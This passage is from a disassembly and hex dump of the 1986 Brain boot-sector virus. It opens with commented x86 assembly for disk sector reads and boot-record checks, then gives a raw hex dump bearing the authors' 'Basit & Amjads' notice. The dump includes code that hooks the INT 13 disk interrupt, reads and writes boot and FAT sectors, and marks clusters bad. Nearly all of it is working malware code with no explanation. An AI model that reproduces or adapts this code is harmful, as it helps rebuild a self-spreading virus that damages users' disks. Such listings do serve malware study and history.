Ptr [SI+0F] ;098D F7740F MOV [0021],DL ;0990 88162100 MOV [0026],AX ;0994 A32600 POP DX ;0997 5A MOV CL,[0029] ;0998 8A0E2900 ADD DL,CL ;099C 02D1 MOV AX,[SI+0D] ;099E 8B440D INC AX ;09A1 40 CMP DL,AL ;09A2 3AD0 JBE ;09AC ;09A4 7606 SUB AL,[0028] ;09A6 2A062800 MOV CL,AL ;09AA 8AC8 MOV AL,CL ;09AC 8AC1 MOV DX,[0026] ;09AE 8B162600 MOV CL,06 ;09B2 B106 SHL DH,CL ;09B4 D2E6 OR DH,[0028] ;09B6 0A362800 MOV CX,DX ;09BA 8BCA XCHG CH,CL ;09BC 86E9 MOV DX,[0020] ;09BE 8B162000 MOV AH,02 ;READ SECTOR PUSH AX ; INT 13 ; POP AX ;09C7 58 JB ;09FC ;09C8 7232 SUB [0029],AL ;09CA 28062900 JBE ;09F5 ;09CE 7625 CBW ;09D0 98 MUL Word Ptr [002D] ;09D1 F7262D00 ADD BX,AX ;09D5 03D8 INC Byte Ptr [0021] ;09D7 FE062100 MOV DL,[0021] ;09DB 8A162100 CMP DL,[SI+0F] ;09DF 3A540F MOV DL,01 ;09E2 B201 MOV [0028],DL ;09E4 88162800 JB ;0998 ;09E8 72AE MOV Byte Ptr [0021],00 ;09EA C606210000 INC Word Ptr [0026] ;09EF FF062600 JMP ;0998 ;09F3 EBA3 POP BX ;09F5 5B RET ;09F6 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV SI,01B3 ;09F7 BEB301 JMP ;09FF ;09FA EB03 MOV SI,01C5 ;09FC BEC501 CALL L0A15 ;09FF E81300 MOV SI,01D4 ;0A02 BED401 CALL L0A15 ;0A05 E80D00 MOV AH,00 ;0A08 B400 INT 16 ;0A0A CD16 MOV AH,01 ;0A0C B401 INT 16 ;0A0E CD16 JNZ 0A0C ;0A10 75FA JMP ;08F8 ;0A12 E9E3FE ; L0A15: LODSB ;L0A15 OR AL,AL ;0A16 0AC0 JZ 0A23 ;0A18 7409 MOV AH,0E ;0A1A B40E MOV BX,0007 ;0A1C BB0700 INT 10 ;0A1F CD10 JMP L0A15 ;0A21 EBF2 RET ;0A23 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV CL,01 ;0A24 B101 CALL ;0971 ;0A26 E848FF PUSH SI ;0A29 56 MOV DI,BX ;0A2A 8BFB MOV AX,ES:[BX+1C] ;0A2C 268B471C XOR DX,DX ;0A30 33D2 DIV Word Ptr [SI] ;0A32 F734 INC AL ;0A34 FEC0 MOV [002A],AL ;0A36 A22A00 MOV SI,019D ;0A39 BE9D01 MOV CX,000B ;0A3C B90B00 REPZ ;0A3F F3 CMPSB ;0A40 A6 JNZ ;09F7 ;0A41 75B4 MOV AX,ES:[BX+3A] ;0A43 268B473A MOV [0022],AX ;0A47 A32200 MOV DI,BX ;0A4A 8BFB ADD DI,+20 ;0A4C 83C720 MOV SI,01A8 ;0A4F BEA801 MOV CX,000B ;0A52 B90B00 REPZ ;0A55 F3 CMPSB ;0A56 A6 JNZ ;09F7 ;0A57 759E POP SI ;0A59 5E RET ;0A5A C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CODE ENDS ; END ; 0390 49 42 4D IBM 03A0 42 49 4F 20 20 43 4F 4D-49 42 4D 44 4F 53 20 20 BIO COMIBMDOS 03B0 43 4F 4D 0D 0A 4E 6F 6E-2D 53 79 73 74 65 6D 20 COM..Non-System 03C0 64 69 73 6B 00 0D 0A 42-4F 4F 54 20 66 61 69 6C disk...BOOT fail 03D0 75 72 65 00 0D 0A 52 65-70 6C 61 63 65 20 61 6E ure...Replace an 03E0 64 20 70 72 65 73 73 20-61 6E 79 20 6B 65 79 20 d press any key 03F0 77 68 65 6E 20 72 65 61-64 79 00 90 90 90 55 AA when ready....U* 0400 EB 26 28 63 29 20 31 39-38 36 20 42 61 73 69 74 k&(c) 1986 Basit 0410 20 26 20 41 6D 6A 61 64-73 20 28 70 76 74 29 20 & Amjads (pvt) 0420 4C 74 64 20 00 04 00 00-2E C6 06 25 02 1F 33 C0 Ltd .....F.%..3@ 0430 8E D8 A1 4C 00 A3 B4 01-A1 4E 00 A3 B6 01 B8 76 .X!L.#4.!N.#6.8v 0440 02 A3 4C 00 8C C8 A3 4E-00 B9 04 00 33 C0 8E C0 .#L..H#N.9..3@.@ 0450 51 2E 8A 36 06 00 B2 00-2E 8B 0E 07 00 B8 01 02 Q..6..2......8.. 0460 BB 00 7C CD 6D 73 09 B4-00 CD 6D 59 E2 E2 CD 18 ;.|Mms.4.MmYbbM. 0470 EA 00 7C 00 00 90 FB 80-FC 02 75 18 80 FA 02 77 j.|...{.|.u..z.w 0480 13 80 FD 00 75 05 80 FE-00 74 0C 2E FE 0E 25 02 ..}.u..~.t..~.%. 0490 75 02 EB 03 E9 A5 00 2E-C6 06 27 02 00 2E C6 06 u.k.i%..F.'...F. 04A0 25 02 04 50 53 51 52 2E-88 16 26 02 B9 04 00 51 %..PSQR...&.9..Q 04B0 B4 00 CD 6D 72 15 B6 00-B9 01 00 BB BE 06 06 8C 4.Mmr.6.9..;>... 04C0 C8 8E C0 B8 01 02 CD 6D-07 73 06 59 E2 E1 EB 2F H.@8..Mm.s.Ybak/ 04D0 90 59 2E A1 C2 06 3D 34-12 75 08 2E C6 06 27 02 .Y.!B.=4.u..F.'. 04E0 01 EB 20 1E 06 8C C8 8E-D8 8E C0 56 E8 15 03 72 .k ...H.X.@Vh..r 04F0 09 2E C6 06 27 02 02 E8-B8 01 5E 07 1F 73 04 B4 ..F.'..h8.^..s.4 0500 00 CD 6D 5A 59 5B 58 83-F9 01 75 30 80 FE 00 75 .MmZY[X.y.u0.~.u 0510 2B 2E 80 3E 27 02 01 75-11 2E 8B 0E C5 06 2E 8B +..>'..u....E... 0520 16 C3 06 2E 8A 16 26 02-EB 12 2E 80 3E 27 02 02 .C....&.k...>'.. 0530 75 0A 2E 8B 0E 07 00 2E-8A 36 06 00 CD 6D CA 02 u........6..MmJ. 0540 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0550 EB 25 90 03 00 20 28 63-29 20 31 39 38 36 20 42 k%... (c) 1986 Basit & Amjads (pvt) Ltd 0560 61 73 69 74 20 26 20 41-6D 6A 61 64 73 20 28 70 0570 76 74 29 20 4C 74 64 E8-AD 00 A1 BE 06 3D FD FF h-.!>.=}. 0580 74 04 B0 03 F9 C3 B9 37-00 C7 06 53 03 00 00 E8 t.0.yC97.G.S...h 0590 66 00 3D 00 00 75 0E FF-06 53 03 83 3E 53 03 03 f.=..u...S..>S.. 05A0 75 09 EB 12 90 C7 06 53-03 00 00 41 81 F9 63 01 u.k..G.S...A.yc. 05B0 75 DD B0 01 F9 C3 B2 03-E8 10 00 49 FE CA 75 F8 u]0.yC2.h..I~Jux 05C0 41 E8 9A 00 E8 66 00 B0-00 F8 C3 51 52 BE BE 06 Ah..hf.0.xCQR>>. 05D0 8A C1 D0 E8 72 0E E8 42-00 8B 00 25 00 F0 0D F7 .APhr.hB...%.p.w 05E0 0F EB 0C 90 E8 34 00 8B-00 25 0F 00 0D 70 FF 89 .k..h4...%...p.. 05F0 00 89 80 00 04 5A 59 C3-51 BE BE 06 8A C1 D0 E8 .....ZYCQ>>..APh 0600 72 0B E8 16 00 8B 00 25-FF 0F EB 0D 90 E8 0B 00 r.h....%..k..h.. 0610 8B 00 25 F0 FF B1 04 D3-E8 59 C3 52 B8 03 00 F7 ..%p.1.ShYCR8..w 0620 E1 D1 E8 8B D8 5A C3 B4-02 E8 07 00 C3 B4 03 E8 aQh.XZC4.h..C4.h 0630 01 00 C3 B9 04 00 51 50-B4 00 CD 6D 58 72 14 BB ..C9..QP4.MmXr.; 0640 BE 06 B0 04 B6 00 8A 16-26 02 B9 02 00 50 CD 6D >.0.6...&.9..PMm 0650 58 73 09 59 E2 E0 58 58-B0 02 F9 C3 59 C3 51 83 Xs.Yb`XX0.yCYCQ. 0660 E9 02 D1 E1 83 C1 0C 8B-C1 B1 12 F6 F1 A2 08 00 i.Qa.A..A1.vq".. 0670 C6 06 06 00 00 FE C4 80-FC 09 76 08 80 EC 09 C6 F....~D.|.v..l.F 0680 06 06 00 01 88 26 07 00-59 C3 00 00 00 00 00 00 .....&..YC...... 0690 03 6C 00 03 03 BE 0E 01-00 00 01 E0 D8 9D D7 E0 .l...>.....`X.W` 06A0 9F 8D 98 9F 8E E0 20 28-63 29 20 42 72 61 69 6E .....` (c) Brain 06B0 20 24 E8 DB 00 72 0A 57-E8 1F 00 5F 72 03 E8 D7 $h[.r.Wh.._r.hW 06C0 00 C3 BB 9B 04 B9 0B 00-8A 07 F6 D8 88 04 46 43 .C;..9....vX..FC 06D0 E2 F6 B0 08 88 04 F8 C3-C6 06 C7 06 91 04 6C 00 bv0...xCF.G...l. 06E0 BE FE 06 89 16 93 04 A1-91 04 D1 E8 A3 97 04 D1 >~.....!..Qh#..Q 06F0 E8 A3 95 04 91 80 E1 43-8B 3E 95 04 81 C7 E3 01 h#....aC.>...Gc. 0700 8A 04 3C 00 74 15 8A 44-0B 24 08 3C 08 74 0C 83 ..<.t..D.$.<.t.. 0710 C6 20 FF 0E 91 04 75 E8-F9 C3 8B 8B 1D 33 1E 97 F ....uhyC...3.. 0720 04 89 36 97 04 FA 8C D0-A3 93 04 89 26 95 04 8C ..6..z.P#...&... 0730 C8 8E D0 8B 26 97 04 83-C4 0C B1 51 81 C2 4C 44 H.P.&...D.1Q.BLD 0740 BF 55 25 B9 03 0C F3 A7-B8 46 0B B9 03 00 D3 C0 ?U%9..s'8F.9..S@ 0750 A3 97 04 B9 05 00 BA 08-00 81 2E 97 04 10 52 FF #..9..:.......R. 0760 36 97 04 8A 27 43 8A D4-D0 E2 72 F7 8A 17 43 8A 6...'C.TPbrw..C. 0770 C2 D0 E2 72 F7 05 1D 1D-50 FF 06 97 04 73 01 EA BPbrw...P....s.j 0780 E2 E1 8B 26 95 04 A1 93-04 8E D0 FB 02 32 F8 C3 ba.&..!...P{.2xC 0790 C6 06 90 04 02 EB 09 90-C6 06 90 04 03 EB 01 90 F....k..F....k.. 07A0 B6 00 8A 16 26 02 B9 06-00 8A 26 90 04 B0 04 BB 6...&.9...&..0.; 07B0 BE 06 E8 15 00 72 12 B9-01 00 B6 01 8A 26 90 04 >.h..r.9..6..&.. 07C0 B0 03 81 C3 00 08 E8 01-00 C3 A3 93 04 89 1E 95 0..C..h..C#..... 07D0 04 89 0E 97 04 89 16 99-04 B9 04 00 51 B4 00 CD .........9..Q4.M 07E0 6D 72 13 A1 93 04 8B 1E-95 04 8B 0E 97 04 8B 16 mr.!............ 07F0 99 04 CD 6D 73 05 59 E2-E3 F9 C3 59 C3 00 00 00 ..Mms.YbcyCYC... 0800 03 00 01 03 E8 49 FD 72-54 C7 06 0A 00 01 00 C6 ....hI}rTG.....F 0810 06 09 00 00 BB BE 06 E8-44 00 BB BE 06 A1 07 00 ....;>.hD.;>.!.. 0820 A3 0A 00 8A 26 06 00 88-26 09 00 E8 39 00 E8 65 #...&...&..h9.he 0830 00 B9 05 00 BB 00 02 89-0E 00 06 E8 29 00 E8 55 .9..;......h).hU 0840 00 81 C3 00 02 8B 0E 00-06 E2 EC C6 06 09 00 00 ..C......blF.... 0850 C7 06 0A 00 01 00 BB 00-00 E8 0B 00 F8 C3 C7 06 G.....;..h..xCG. 0860 02 06 01 02 EB 0A 90 C7-06 02 06 01 03 EB 01 90 ....k..G.....k.. 0870 53 B9 04 00 51 8A 36 09-00 8A 16 26 02 8B 0E 0A S9..Q.6....&.... 0880 00 A1 02 06 CD 6D 73 0B-B4 00 CD 6D 59 E2 E5 5B .!..Mms.4.MmYbe[ 0890 5B F9 C3 59 5B C3 FE 06-0A 00 80 3E 0A 00 0A 75 [yCY[C~....>...u 08A0 19 C6 06 0A 00 01 FE 06-09 00 80 3E 09 00 02 75 .F....~....>...u 08B0 09 C6 06 09 00 00 FE 06-0B 00 C3 64 74 61 EB 3A .F....~...Cdtak: 08C0 90 49 42 4D 20 58 33 2E-32 00 02 02 01 00 02 70 .IBM X3.2......p 08D0 00 D0 02 FD 02 00 09 00-02 00 00 00 00 00 00 00 .P.}............ 08E0 00 00 00 00 00 00 00 00-00 00 00 00 02 DF 02 25 ............._.% 08F0 02 12 2A FF 50 F6 00 02-CD 19 FA 33 C0 8E C0 8E ..*.Pv..M.z3@.@. 0900 D0 BC 00 7C 8E D8 BB C0-07 C7 06 78 00 2F 00 89 P<.|.X;@.G.x./.. 0910 1E 7A 00 8E DB 8B 16 1E-00 88 16 20 00 CD 13 73 .z..[...... .M.s 0920 03 E9 D8 00 BE 0B 00 8B-0C D0 ED 86 E9 89 0E 2B .iX.>....Pm.i..+ 0930 00 8A 44 05 32 E4 F7 64-0B 03 44 03 03 44 11 A3 ..D.2dwd..D..D.# 0940 24 00 BB 00 7E E8 DC 00-8C C3 B8 70 00 8E C0 B8 $.;.~h\..C8p..@8 0950 20 00 F7 64 06 8B 0C 03-C1 48 F7 F1 01 06 24 00 .wd....AHwq..$. 0960 8A 0E 2A 00 A1 24 00 E8-07 00 06 1F EA 00 00 70 ..*.!$.h....j..p 0970 00 53 50 8A C1 F6 26 2B-00 A2 29 00 58 F7 26 2B .SP.Av&+.").Xw&+ 0980 00 F7 74 0D FE C2 88 16-28 00 52 33 D2 F7 74 0F .wt.~B..(.R3Rwt. 0990 88 16 21 00 A3 26 00 5A-8A 0E 29 00 02 D1 8B 44 ..!.#&.Z..)..Q.D 09A0 0D 40 3A D0 76 06 2A 06-28 00 8A C8 8A C1 8B 16 .@:Pv.*.(..H.A.. 09B0 26 00 B1 06 D2 E6 0A 36-28 00 8B CA 86 E9 8B 16 &.1.Rf.6(..J.i.. 09C0 20 00 B4 02 50 CD 13 58-72 32 28 06 29 00 76 25 .4.PM.Xr2(.).v% 09D0 98 F7 26 2D 00 03 D8 FE-06 21 00 8A 16 21 00 3A .w&-..X~.!...!.: 09E0 54 0F B2 01 88 16 28 00-72 AE C6 06 21 00 00 FF T.2...(.r.F.!... 09F0 06 26 00 EB A3 5B C3 BE-B3 01 EB 03 BE C5 01 E8 .&.k#[C>3.k.>E.h 0A00 13 00 BE D4 01 E8 0D 00-B4 00 CD 16 B4 01 CD 16 ..>T.h..4.M.4.M. 0A10 75 FA E9 E3 FE AC 0A C0-74 09 B4 0E BB 07 00 CD uzic~,.@t.4.;..M 0A20 10 EB F2 C3 B1 01 E8 48-FF 56 8B FB 26 8B 47 1C .krC1.hH.V.{&.G. 0A30 33 D2 F7 34 FE C0 A2 2A-00 BE 9D 01 B9 0B 00 F3 3Rw4~@"*.>..9..s 0A40 A6 75 B4 26 8B 47 3A A3-22 00 8B FB 83 C7 20 BE &u4&.G:#"..{.G > 0A50 A8 01 B9 0B 00 F3 A6 75-9E 5E C3 49 42 4D 42 49 (.9..s&u.^CIBMBI 0A60 4F 20 20 43 4F 4D 49 42-4D 44 4F 53 20 20 43 4F O COMIBMDOS CO 0A70 4D 0D 0A 4E 6F 6E 2D 53-79 73 74 65 6D 20 64 69 M..Non-System di 0A80 73 6B 00 0D 0A 42 4F 4F-54 20 66 61 69 6C 75 72 sk...BOOT failur 0A90 65 00 0D 0A 52 65 70 6C-61 63 65 20 61 6E 64 20 e...Replace and 0AA0 70 72 65 73 73 20 61 6E-79 20 6B 65 79 20 77 68 press any key wh 0AB0 65 6E 20 72 65 61 64 79-00 90 90 90 55 AA 00 00 en ready....U*.. 0AC0 00 00 00 00 00 00 00 00-00 00 00 00 70 FF F7 7F ............p.w. 0AD0 FF F7 7F FF 00 00 00 00-00 00 00 00 00 00 00 00 .w.............. 0AE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0AF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0B90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0BA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0BB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0BC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0BD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0BE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0BF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0C90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0CA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0CB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 FD FF ..............}. 0CC0 FF 03 40 00 05 60 00 07-80 00 09 A0 00 0B C0 00 ..@..`..... ..@. 0CD0 0D E0 00 0F 00 01 11 20-01 13 F0 FF 15 60 01 17 .`..... ..p..`.. 0CE0 80 01 19 A0 01 1B C0 01-1D E0 01 1F 00 02 21 20 ... ..@..`....! 0CF0 02 23 40 02 25 60 02 27-80 02 29 A0 02 2B C0 02 .#@.%`.'..) .+@. 0D00 2D E0 02 2F F0 FF 31 20-03 33 40 03 35 60 03 37 -`./p.1 .3@.5`.7 0D10 80 03 39 A0 03 3B C0 03-3D E0 03 3F 00 04 41 20 ..9 .;@.=`.?..A 0D20 04 43 40 04 45 60 04 47-F0 FF F7 7F FF F7 0F 00 .C@.E`.Gp.w..w.. 0D30 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0D40 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0D50 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0D60 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0D70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0D80 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0D90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0DA0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0DB0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0DC0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0DD0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0DE0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0DF0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................